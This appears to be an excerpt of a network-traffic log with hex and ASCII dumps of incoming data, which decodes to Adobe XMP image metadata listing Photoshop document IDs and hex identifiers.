2022-07-20 17:08:42 UTC	1472	IN	Data Raw: 36 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 44 33 32 36 35 30 38 41 41 32 37 30 38 35 44 39 35 33 39 32 42 32 33 34 34 46 46 33 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 45 38 46 41 30 37 42 32 41 34 31 39 34 38 44 32 39 36 42 30 39 46 34 36 36 35 34 43 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 45 39 34 34 37 43 43 43 35 41 46 32 46 35 35 33 46 39 31 33 43 32 38 39 30 36 41 39 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 45 44 36 35 41 39 39 45 45 37 33 46 32 46 32 30 41 44 32 31 32 35 39 36 46 30 38 45 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 46 32 46 31 46 46 45 45 33 39 44 35 46 35 35 36 35 44 42 30 41 33 38 45 39 43 30 44 36 34 3c 2f Data Ascii: 629</rdf:li> <rdf:li>69D326508AA27085D95392B2344FF3B5</rdf:li> <rdf:li>69E8FA07B2A41948D296B09F46654C12</rdf:li> <rdf:li>69E9447CCC5AF2F553F913C28906A97F</rdf:li> <rdf:li>69ED65A99EE73F2F20AD212596F08E97</rdf:li> <rdf:li>69F2F1FFEE39D5F5565DB0A38E9C0D64</
2022-07-20 17:08:42 UTC	1480	IN	Data Raw: 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 45 43 42 38 39 41 39 42 38 38 36 41 30 41 42 31 44 37 46 46 38 30 37 30 38 34 31 46 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 45 44 42 30 45 45 41 43 38 36 38 45 35 39 33 33 33 41 37 31 35 35 44 46 39 41 41 44 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 46 33 32 36 33 46 46 46 45 46 44 35 42 39 33 41 46 39 41 37 34 38 30 36 32 35 34 41 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 46 33 46 36 44 38 39 35 32 38 42 36 36 45 38 46 36 37 45 30 31 36 36 46 32 44 32 31 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 46 43 37 42 42 38 36 46 31 36 45 32 32 37 46 37 44 30 37 41 44 34 38 35 31 32 35 32 37 30 3c 2f 72 64 Data Ascii: B</rdf:li> <rdf:li>6FECB89A9B886A0AB1D7FF8070841F74</rdf:li> <rdf:li>6FEDB0EEAC868E59333A7155DF9AADB4</rdf:li> <rdf:li>6FF3263FFFEFD5B93AF9A74806254A8F</rdf:li> <rdf:li>6FF3F6D89528B66E8F67E0166F2D211D</rdf:li> <rdf:li>6FFC7BB86F16E227F7D07AD485125270</rd
2022-07-20 17:08:42 UTC	1496	IN	Data Raw: 30 35 43 33 44 36 38 46 44 31 44 35 45 46 43 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 43 30 35 44 32 38 39 43 37 31 42 36 46 46 31 37 38 31 36 46 37 31 36 39 46 41 32 46 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 43 41 36 32 45 30 35 38 43 33 36 35 41 44 31 38 43 37 30 32 37 45 46 43 36 31 43 44 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 44 42 45 30 32 39 33 36 39 38 45 38 42 37 36 34 46 45 35 37 46 32 34 45 41 43 32 33 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 45 37 35 46 30 41 36 45 30 36 45 43 43 41 33 46 41 42 43 42 31 38 37 38 30 30 36 46 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 43 46 35 43 35 45 46 41 45 34 36 35 42 39 32 42 38 38 31 Data Ascii: 05C3D68FD1D5EFCB1</rdf:li> <rdf:li>7CC05D289C71B6FF17816F7169FA2FD3</rdf:li> <rdf:li>7CCA62E058C365AD18C7027EFC61CDE2</rdf:li> <rdf:li>7CDBE0293698E8B764FE57F24EAC2379</rdf:li> <rdf:li>7CE75F0A6E06ECCA3FABCB1878006F96</rdf:li> <rdf:li>7CF5C5EFAE465B92B881
2022-07-20 17:08:42 UTC	1512	IN	Data Raw: 3e 38 37 43 36 30 31 39 33 46 41 38 46 34 44 39 30 44 35 31 34 41 32 30 36 42 32 37 31 42 31 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 44 31 46 39 35 30 39 41 35 30 36 36 45 32 32 30 37 37 37 46 42 32 31 33 35 42 41 30 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 46 31 30 44 39 36 37 37 35 38 36 34 33 33 36 33 45 43 43 41 43 36 44 45 43 45 44 43 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 46 33 36 31 37 39 41 33 42 33 44 31 33 36 37 43 33 39 42 31 32 34 32 43 37 43 41 37 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 37 46 34 43 44 36 46 38 33 37 30 32 43 33 34 30 41 36 35 46 37 34 44 42 37 32 31 44 31 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 38 30 37 Data Ascii: >87C60193FA8F4D90D514A206B271B1AA</rdf:li> <rdf:li>87D1F9509A5066E220777FB2135BA03D</rdf:li> <rdf:li>87F10D967758643363ECCAC6DECEDC4C</rdf:li> <rdf:li>87F36179A3B3D1367C39B1242C7CA703</rdf:li> <rdf:li>87F4CD6F83702C340A65F74DB721D11C</rdf:li> <rdf:li>8807
2022-07-20 17:08:42 UTC	1519	IN	Data Raw: 46 37 44 43 38 46 42 32 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 46 31 41 38 34 43 38 44 41 43 44 31 39 35 31 43 37 31 35 44 45 39 37 46 36 43 41 45 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 46 33 44 30 31 33 41 39 38 34 42 33 35 38 43 39 45 46 34 46 45 30 39 30 38 41 39 34 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 46 44 38 39 32 31 43 41 36 46 41 33 44 46 30 32 30 32 34 32 37 44 36 31 35 44 39 31 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 44 30 41 42 33 46 35 43 33 41 43 36 38 41 41 31 42 33 41 46 33 35 36 36 46 33 34 39 41 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 44 31 30 38 41 34 31 37 45 34 46 30 33 34 46 42 34 38 30 35 31 37 43 33 35 39 Data Ascii: F7DC8FB294</rdf:li> <rdf:li>8CF1A84C8DACD1951C715DE97F6CAE0C</rdf:li> <rdf:li>8CF3D013A984B358C9EF4FE0908A9433</rdf:li> <rdf:li>8CFD8921CA6FA3DF0202427D615D91A5</rdf:li> <rdf:li>8D0AB3F5C3AC68AA1B3AF3566F349A03</rdf:li> <rdf:li>8D108A417E4F034FB480517C359
2022-07-20 17:08:42 UTC	1535	IN	Data Raw: 38 30 35 39 43 43 45 32 34 46 36 32 36 31 34 33 36 34 38 43 45 34 46 42 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 30 42 33 36 46 36 44 39 37 43 46 35 41 30 35 39 46 38 41 33 36 41 37 39 45 33 38 41 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 31 37 36 34 41 45 41 32 45 44 38 30 35 43 31 31 45 38 35 42 34 36 36 32 42 38 37 41 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 32 36 44 43 33 35 30 41 30 32 46 41 43 34 30 42 37 37 45 44 43 46 31 36 44 32 37 43 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 32 39 30 31 35 39 35 31 33 30 38 33 42 32 37 32 31 33 42 41 31 39 31 43 45 34 30 32 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 32 41 38 38 33 41 35 46 41 Data Ascii: 8059CCE24F626143648CE4FB43</rdf:li> <rdf:li>9A0B36F6D97CF5A059F8A36A79E38AF4</rdf:li> <rdf:li>9A1764AEA2ED805C11E85B4662B87A34</rdf:li> <rdf:li>9A26DC350A02FAC40B77EDCF16D27C49</rdf:li> <rdf:li>9A290159513083B27213BA191CE40254</rdf:li> <rdf:li>9A2A883A5FA
2022-07-20 17:08:42 UTC	1551	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 41 35 46 43 42 39 41 46 42 45 44 44 44 45 42 37 34 41 46 41 42 30 44 36 41 35 45 35 42 45 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 35 46 45 45 32 36 41 46 42 35 30 39 42 32 39 45 36 33 38 37 32 37 46 44 39 35 30 45 42 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 30 42 35 34 31 33 38 42 39 44 42 41 38 32 33 38 32 44 36 33 30 32 41 39 34 36 34 36 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 30 42 39 42 39 39 46 44 31 31 42 39 33 32 42 34 44 31 30 30 37 35 35 39 37 33 39 33 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 30 43 38 39 32 43 34 38 36 42 43 33 45 31 42 39 33 35 38 32 42 31 42 36 39 30 43 30 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>A5FCB9AFBEDDDEB74AFAB0D6A5E5BE81</rdf:li> <rdf:li>A5FEE26AFB509B29E638727FD950EBE3</rdf:li> <rdf:li>A60B54138B9DBA82382D6302A9464687</rdf:li> <rdf:li>A60B9B99FD11B932B4D10075597393D3</rdf:li> <rdf:li>A60C892C486BC3E1B93582B1B690C008</rdf:li> <rd
2022-07-20 17:08:42 UTC	1559	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 41 42 39 33 46 33 45 31 31 32 43 42 32 33 39 42 33 30 36 34 42 34 39 39 41 42 30 44 36 35 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 39 42 46 46 34 36 37 34 34 38 37 44 30 33 36 44 41 35 45 34 41 35 34 31 34 36 41 31 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 39 44 35 44 42 32 38 43 39 30 46 37 38 43 37 45 41 36 34 42 45 44 38 39 31 34 44 30 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 42 31 33 38 42 36 44 30 35 36 43 37 33 44 33 41 31 34 43 36 41 33 46 31 37 30 30 44 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 42 42 37 44 33 34 36 32 32 35 37 42 30 37 44 32 42 41 33 36 44 30 45 43 41 34 31 46 42 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>AB93F3E112CB239B3064B499AB0D65AB</rdf:li> <rdf:li>AB9BFF4674487D036DA5E4A54146A105</rdf:li> <rdf:li>AB9D5DB28C90F78C7EA64BED8914D0B8</rdf:li> <rdf:li>ABB138B6D056C73D3A14C6A3F1700DC3</rdf:li> <rdf:li>ABB7D3462257B07D2BA36D0ECA41FB63</rdf:li> <rdf:
2022-07-20 17:08:42 UTC	1575	IN	Data Raw: 37 37 36 34 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 30 30 35 35 31 34 41 34 30 34 34 43 32 33 44 38 31 33 33 31 30 38 38 41 45 34 36 46 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 30 33 45 44 43 34 30 36 34 32 43 31 33 31 35 39 36 30 32 34 46 38 37 38 30 30 37 32 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 31 37 33 33 42 46 35 39 38 42 42 38 44 38 41 35 45 33 30 45 43 34 44 34 42 30 42 42 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 33 34 39 38 46 43 45 37 37 46 43 32 45 44 44 38 46 38 34 37 31 38 30 42 33 32 42 42 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 37 33 44 33 45 37 38 37 35 31 38 30 38 43 33 44 39 39 30 35 33 33 44 38 33 32 45 38 44 31 Data Ascii: 776425</rdf:li> <rdf:li>B7005514A4044C23D81331088AE46FD6</rdf:li> <rdf:li>B703EDC40642C131596024F878007265</rdf:li> <rdf:li>B71733BF598BB8D8A5E30EC4D4B0BBCE</rdf:li> <rdf:li>B73498FCE77FC2EDD8F847180B32BB24</rdf:li> <rdf:li>B73D3E78751808C3D990533D832E8D1
2022-07-20 17:08:42 UTC	1591	IN	Data Raw: 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 33 44 33 36 39 30 43 35 34 36 36 32 34 31 46 38 44 37 44 30 31 41 46 42 34 31 35 31 37 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 33 44 39 42 41 34 41 34 46 34 42 44 46 37 35 43 37 34 46 43 34 35 32 36 45 30 46 38 45 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 33 45 34 30 38 39 36 39 31 46 36 32 35 43 43 36 38 32 33 39 31 46 39 44 45 31 43 45 32 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 33 45 42 39 43 44 44 34 41 43 31 41 42 44 34 34 31 33 41 37 41 34 39 36 34 38 30 32 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 33 46 42 34 44 32 43 34 43 44 43 35 34 46 46 34 31 46 43 38 36 44 38 45 30 33 31 35 37 32 35 3c 2f 72 64 Data Ascii: 7</rdf:li> <rdf:li>C3D3690C5466241F8D7D01AFB41517A9</rdf:li> <rdf:li>C3D9BA4A4F4BDF75C74FC4526E0F8E86</rdf:li> <rdf:li>C3E4089691F625CC682391F9DE1CE249</rdf:li> <rdf:li>C3EB9CDD4AC1ABD4413A7A4964802578</rdf:li> <rdf:li>C3FB4D2C4CDC54FF41FC86D8E0315725</rd
2022-07-20 17:08:42 UTC	1599	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 39 44 34 35 34 39 34 30 37 41 36 44 34 39 38 34 35 39 37 30 46 30 45 38 30 32 41 42 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 39 46 38 30 39 44 43 45 33 33 39 46 30 33 42 31 38 32 33 43 39 45 36 39 36 31 37 35 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 41 35 45 45 46 43 31 44 46 46 32 30 42 31 30 41 38 39 36 34 41 36 45 39 41 30 43 33 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 41 45 34 32 42 35 35 32 44 43 35 42 35 36 42 30 36 30 37 38 33 38 46 36 36 35 42 44 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 42 46 34 37 39 35 32 31 45 35 32 35 30 39 30 32 30 37 37 41 36 31 43 37 36 43 39 41 42 41 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>C99D4549407A6D49845970F0E802ABC9</rdf:li> <rdf:li>C99F809DCE339F03B1823C9E69617551</rdf:li> <rdf:li>C9A5EEFC1DFF20B10A8964A6E9A0C30F</rdf:li> <rdf:li>C9AE42B552DC5B56B0607838F665BD13</rdf:li> <rdf:li>C9BF479521E5250902077A61C76C9ABA</rdf:
2022-07-20 17:08:42 UTC	1615	IN	Data Raw: 33 41 38 39 38 35 36 41 31 43 31 39 45 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 31 42 44 42 37 39 45 31 30 46 31 30 39 33 36 30 46 42 38 34 41 32 35 32 39 31 30 41 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 33 42 37 36 37 35 41 34 46 30 43 35 38 35 45 45 38 36 31 34 44 45 32 44 38 30 43 32 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 34 31 30 33 30 32 36 37 44 43 36 41 44 43 30 35 37 36 30 43 46 41 37 38 39 31 45 38 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 35 35 45 33 31 32 37 41 44 44 37 31 36 46 37 43 33 36 30 35 35 34 37 35 41 46 43 32 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 35 42 33 30 31 43 34 38 39 44 42 31 44 39 33 42 38 44 39 43 Data Ascii: 3A89856A1C19EA5</rdf:li> <rdf:li>D51BDB79E10F109360FB84A252910AC6</rdf:li> <rdf:li>D53B7675A4F0C585EE8614DE2D80C28E</rdf:li> <rdf:li>D541030267DC6ADC05760CFA7891E835</rdf:li> <rdf:li>D555E3127ADD716F7C36055475AFC28B</rdf:li> <rdf:li>D55B301C489DB1D93B8D9C
2022-07-20 17:08:42 UTC	1631	IN	Data Raw: 31 36 43 31 33 44 30 43 32 33 32 34 45 42 41 36 38 39 39 31 43 33 35 43 38 43 36 30 32 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 36 45 31 43 44 39 44 43 43 39 30 41 35 46 44 46 34 35 30 31 37 38 30 30 46 41 46 34 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 37 35 36 39 46 42 41 45 30 39 33 44 45 42 43 41 31 39 45 37 30 31 41 44 45 31 31 41 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 38 35 37 32 36 30 46 43 31 35 43 44 37 43 45 39 31 32 43 33 35 39 33 32 32 37 31 43 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 38 46 36 38 36 46 41 41 36 34 32 45 38 30 38 42 35 41 36 36 38 36 31 33 46 35 41 33 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 39 32 43 41 Data Ascii: 16C13D0C2324EBA68991C35C8C6029C</rdf:li> <rdf:li>E16E1CD9DCC90A5FDF45017800FAF415</rdf:li> <rdf:li>E17569FBAE093DEBCA19E701ADE11AD7</rdf:li> <rdf:li>E1857260FC15CD7CE912C35932271CDB</rdf:li> <rdf:li>E18F686FAA642E808B5A668613F5A3DE</rdf:li> <rdf:li>E192CA
2022-07-20 17:08:42 UTC	1639	IN	Data Raw: 43 34 36 33 33 39 45 37 46 46 38 37 36 45 32 45 34 32 41 34 42 46 38 45 37 44 38 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 32 44 45 35 35 34 30 46 32 46 30 35 44 38 34 30 41 36 43 32 38 36 33 35 34 39 45 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 37 33 32 31 35 30 39 38 45 31 38 44 39 32 44 34 34 35 43 39 45 34 33 41 45 43 45 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 39 36 39 34 38 35 37 36 36 44 39 30 44 34 41 30 36 32 31 37 39 30 41 33 39 41 42 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 39 39 30 31 44 42 37 43 33 42 41 46 42 45 33 42 31 46 43 45 31 39 30 35 34 45 46 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 39 44 31 44 31 Data Ascii: C46339E7FF876E2E42A4BF8E7D87B</rdf:li> <rdf:li>E6F2DE5540F2F05D840A6C2863549E86</rdf:li> <rdf:li>E6F73215098E18D92D445C9E43AECEB8</rdf:li> <rdf:li>E6F969485766D90D4A0621790A39ABB7</rdf:li> <rdf:li>E6F9901DB7C3BAFBE3B1FCE19054EFEA</rdf:li> <rdf:li>E6F9D1D1
2022-07-20 17:08:42 UTC	1655	IN	Data Raw: 33 38 39 37 35 42 38 30 30 44 41 44 46 37 30 37 42 42 30 37 32 43 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 34 41 34 45 43 37 45 37 37 39 31 37 45 38 44 46 30 34 45 31 41 46 43 46 41 35 31 33 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 35 32 31 45 35 31 39 36 37 44 30 33 36 38 38 39 36 36 42 34 44 39 44 32 31 31 46 39 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 36 31 30 33 30 46 36 45 45 39 39 42 46 43 30 35 41 34 34 33 35 44 34 44 33 33 35 44 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 36 31 32 33 31 39 36 30 45 44 42 38 31 44 31 45 43 44 41 41 36 38 35 41 45 36 39 35 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 36 33 45 34 46 41 36 34 34 34 37 Data Ascii: 38975B800DADF707BB072C55</rdf:li> <rdf:li>F14A4EC7E77917E8DF04E1AFCFA5137A</rdf:li> <rdf:li>F1521E51967D03688966B4D9D211F97A</rdf:li> <rdf:li>F161030F6EE99BFC05A4435D4D335D46</rdf:li> <rdf:li>F161231960EDB81D1ECDAA685AE695B6</rdf:li> <rdf:li>F163E4FA64447
2022-07-20 17:08:42 UTC	1671	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 46 43 38 46 30 30 30 38 32 36 32 44 38 46 41 39 42 30 37 38 31 31 32 46 30 43 33 35 33 37 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 38 46 36 45 35 42 46 30 37 43 31 42 32 32 42 37 31 39 35 45 36 30 30 35 42 38 44 30 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 39 39 39 35 31 46 39 33 39 44 42 37 46 44 44 33 31 32 37 43 43 43 44 32 44 44 44 43 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 39 46 45 37 39 43 45 37 33 46 31 37 44 46 43 31 34 38 46 37 32 37 38 34 38 37 41 35 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 41 33 38 33 36 45 41 39 34 41 45 39 37 42 30 45 46 38 43 35 30 30 45 33 41 32 35 39 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>FC8F0008262D8FA9B078112F0C35379D</rdf:li> <rdf:li>FC8F6E5BF07C1B22B7195E6005B8D055</rdf:li> <rdf:li>FC99951F939DB7FDD3127CCCD2DDDC68</rdf:li> <rdf:li>FC9FE79CE73F17DFC148F7278487A577</rdf:li> <rdf:li>FCA3836EA94AE97B0EF8C500E3A25916</rdf:li> <rdf:
2022-07-20 17:08:42 UTC	1678	IN	Data Raw: 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 63 31 37 31 34 64 34 2d 63 65 30 61 2d 31 31 64 39 2d 62 65 33 62 2d 38 31 65 62 38 38 63 32 34 36 61 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 63 31 38 38 66 35 65 2d 32 36 39 61 2d 31 31 65 36 2d 61 33 64 38 2d 66 31 33 32 39 31 33 31 37 62 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 63 39 36 38 62 61 64 2d 32 38 38 65 2d 66 32 34 62 2d 38 33 37 65 2d 61 36 64 66 62 65 39 39 65 36 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f Data Ascii: rdf:li>adobe:docid:photoshop:0c1714d4-ce0a-11d9-be3b-81eb88c246a9</rdf:li> <rdf:li>adobe:docid:photoshop:0c188f5e-269a-11e6-a3d8-f13291317baf</rdf:li> <rdf:li>adobe:docid:photoshop:0c968bad-288e-f24b-837e-a6dfbe99e656</rdf:li> <rdf:li>adobe:docid:photosho
2022-07-20 17:08:42 UTC	1694	IN	Data Raw: 31 65 31 2d 61 61 37 31 2d 61 62 39 64 34 32 36 38 62 33 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 64 33 39 36 62 37 35 2d 65 37 39 61 2d 31 31 65 34 2d 39 31 61 65 2d 64 65 39 38 32 37 39 35 32 34 34 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 64 35 30 38 61 39 38 2d 39 66 62 66 2d 31 31 64 61 2d 62 30 62 34 2d 38 34 66 38 31 62 33 62 39 32 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 64 38 33 30 31 64 66 2d 36 64 65 38 2d 31 31 65 36 2d 39 38 38 64 2d 66 37 36 63 62 35 63 39 61 32 30 31 3c 2f 72 64 66 3a Data Ascii: 1e1-aa71-ab9d4268b3ee</rdf:li> <rdf:li>adobe:docid:photoshop:3d396b75-e79a-11e4-91ae-de982795244b</rdf:li> <rdf:li>adobe:docid:photoshop:3d508a98-9fbf-11da-b0b4-84f81b3b92aa</rdf:li> <rdf:li>adobe:docid:photoshop:3d8301df-6de8-11e6-988d-f76cb5c9a201</rdf:
2022-07-20 17:08:42 UTC	1710	IN	Data Raw: 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 63 63 37 32 64 64 34 2d 63 31 32 32 2d 31 31 64 61 2d 39 65 61 30 2d 62 34 31 30 32 31 37 62 63 36 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 63 63 63 65 65 66 39 2d 36 66 62 62 2d 31 31 65 36 2d 62 30 39 31 2d 63 62 65 36 34 30 66 39 61 64 35 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 63 63 65 65 33 66 64 2d 37 31 63 61 2d 31 31 65 31 2d 39 65 38 36 2d 63 30 38 34 62 30 62 37 37 33 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 63 63 65 65 34 30 Data Ascii: obe:docid:photoshop:6cc72dd4-c122-11da-9ea0-b410217bc604</rdf:li> <rdf:li>adobe:docid:photoshop:6ccceef9-6fbb-11e6-b091-cbe640f9ad5c</rdf:li> <rdf:li>adobe:docid:photoshop:6ccee3fd-71ca-11e1-9e86-c084b0b7738d</rdf:li> <rdf:li>adobe:docid:photoshop:6ccee40
